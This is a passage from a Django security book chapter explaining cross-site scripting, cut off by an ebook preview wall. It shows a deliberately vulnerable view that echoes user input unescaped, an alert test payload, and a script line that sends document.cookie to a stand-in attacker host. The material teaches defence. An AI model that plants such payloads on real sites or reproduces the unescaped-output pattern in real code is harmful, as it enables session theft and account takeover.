Cross-site scripting

Cross-site scripting (XSS), considered the most prevalent web application security flaw today, enables an attacker to execute their malicious scripts (usually JavaScript) on web pages viewed by users. Typically, the server is tricked into serving their malicious content along with the trusted content.

How does a malicious piece of code reach the server? The common means of entering external data into a website are as follows:

  • Form fields
  • URLs
  • Redirects
  • External scripts such as Ads or Analytics

None of these can be entirely avoided. The real problem is when outside data gets used without being validated or sanitized (as shown in the following screenshot); never trust outside data:

For example, let's take a look at a piece of vulnerable code and how an XSS attack can be performed on it. It is strongly advised that you do not to use this code in any form:

class XSSDemoView(View): 
    def get(self, request): 
        # WARNING: This code is insecure and prone to XSS attacks 
        #          *** Do not use it!!! *** 
        if 'q' in request.GET: 
            return HttpResponse("Searched for: {}".format( 
                    request.GET['q'])) 
        else: 
            return HttpResponse("""<form method="get"> 
        <input type="text" name="q" placeholder="Search" value=""> 
        <button type="submit">Go</button> 
        </form>""") 

The preceding code is a View class that shows a search form when accessed without any GET parameters. If the search form is submitted, it shows the Search string exactly as entered by the user in the form.

Now, open this view in a dated browser (say, IE 8) and enter the following search term in the form and submit it:

<script>alert("pwned")</script> 

Unsurprisingly, the browser will show an alert box with the ominous message - pwned.

This attack fails in current browsers such as the latest Chrome, which will present the following error message in the console: Refused to execute a JavaScript script. The source code of script found within request.

In case you are wondering what harm a simple alert message could cause, remember that any JavaScript code can be executed in the same manner. In the worst case, the user's cookies can be sent to a site controlled by the attacker by entering the following search term:

<script>var adr = 'http://lair.com/evil.php?stolen=' + escape(document.cookie);</script> 

Once your cookies are sent, the attacker might be able to conduct a more serious attack.

..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset
18.116.21.229